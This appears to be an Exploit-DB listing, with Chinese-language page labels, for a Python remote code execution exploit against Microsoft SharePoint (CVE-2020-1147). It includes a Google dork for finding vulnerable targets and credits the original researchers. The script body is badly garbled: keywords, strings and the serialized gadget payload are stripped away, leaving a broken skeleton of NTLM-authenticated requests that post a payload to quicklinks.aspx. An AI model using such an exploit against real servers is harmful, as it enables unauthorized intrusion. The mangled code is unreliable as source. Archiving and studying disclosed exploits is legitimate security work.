标题: Microsoft SharePoint Server 2019 - Remote Code Execution (2) EDB-ID: 50151 CVE: 2020-1147 类型: WEBAPPS 平台: ASPX 发布日期: 2021-07-23 漏洞利用脚本: # Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution (2)
# Google Dork: inurl:quicklinks.aspx
# Date: 2020-08-14
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.microsoft.com
# Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service
# Pack 2, SharePoint Server 2019
# Tested on: Windows 2016
# CVE : CVE-2020-1147
# Credit goes to Steven Seele and Soroush Dalili
# Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html


 sys  argv exit stdout stderr
 argparse
 requests
 bs4  BeautifulSoup
 requestspackagesurllib3exceptions  InsecureRequestWarning
 requests_ntlm  HttpNtlmAuth
 urllib  quote unquote
 logging


 
    
    
    
    gadget  
    control_path_quicklinks  
    control_path_quicklinksdialogform  
    control_path  control_path_quicklinks

     self redirect proxy_address username domain password target
        requestspackagesurllib3disable_warningsInsecureRequestWarning
        selfusername    domain username
        selftarget  target
        selfpassword  password
        selfsession  requestssession
        selfredirect  redirect
        selftimeout  
        selfproxies  
               proxy_address
               proxy_address
         \
             proxy_address    \
                proxy_address    
        selfheaders  
        selfquery_params  
             
        
        selfform_values  
             
             
        
        selfcookies  
        selfpayload  replace selfgadget

     self url params data
         selfsessionget
            urlurl
            verify
            allow_redirectsselfredirect
            headersselfheaders
            cookiesselfcookies
            proxiesselfproxies
            datadata
            paramsparams
            authHttpNtlmAuthselfusername selfpassword
        

     self url data params
         selfsessionpost
            urlurl
            datadata
            verify
            allow_redirectsselfredirect
            headersselfheaders
            cookiesselfcookies
            proxiesselfproxies
            paramsparams
            authHttpNtlmAuthselfusername selfpassword
        

     self content
        soup  BeautifulSoupcontent 
         key val  selfform_valuesiteritems
            
                 tag  soupselect  key
                    
                        selfform_valueskey  tag
                     Exception  error
                        stderrwrite  key error
             Exception  error
                stderrwrite  key error
         self

     self
        
             httpclient  http_client
         ImportError
             httplib  http_client
        http_clientHTTPConnectiondebuglevel  
        loggingbasicConfig
        logginggetLoggersetLevelloggingDEBUG
        requests_log  logginggetLogger
        requests_logsetLevelloggingDEBUG
        requests_logpropagate  
         self

     self payload
        payload  payloadreplace replace 
           payload
            payload  payloadreplace 
         payload

     self
        url    selftarget selfcontrol_path
        resp  selfdo_geturlurl paramsselfquery_params
        selfparse_pagecontentrespcontent
         resp

     self
        url    selftarget selfcontrol_path
        
        selfheaders  
        selfform_values  selfcleanselfpayload
        selfform_values  
        resp  selfdo_posturlurl paramsselfquery_params dataselfform_values
         resp


 __name__  
    parser  argparseArgumentParseradd_help description
    
        parseradd_argument action 
        parseradd_argument action default 
        parseradd_argument action default 
        parseradd_argument action default 
        parseradd_argument action default 
        parseradd_argument action default 
        parseradd_argument action default 

         argv  
            parserprint_help
            exit
        options  parserparse_args

        exp  Exploit
            proxy_addressoptionsproxy
            usernameoptionsusername
            domainoptionsdomain
            passwordoptionspassword
            targetoptionstarget
        

         optionsdebug
            expdebug
            stdoutwrite  
                optionstarget optionsusername optionsdomain optionspassword optionsdebug optionsproxy
            

        result  expsend_payload
        stdoutwrite  resultstatus_code
           resultheaders
            stdoutwrite  resultheaders
         optionsboth  resultstatus_code  
            expcontrol_path  expcontrol_path_quicklinksdialogform
            stdoutwrite
            result  expsend_payload
            stdoutwrite  resultstatus_code

     Exception  error
        stderrwrite  error URL: https://www.exploit-db.com/exploits/50151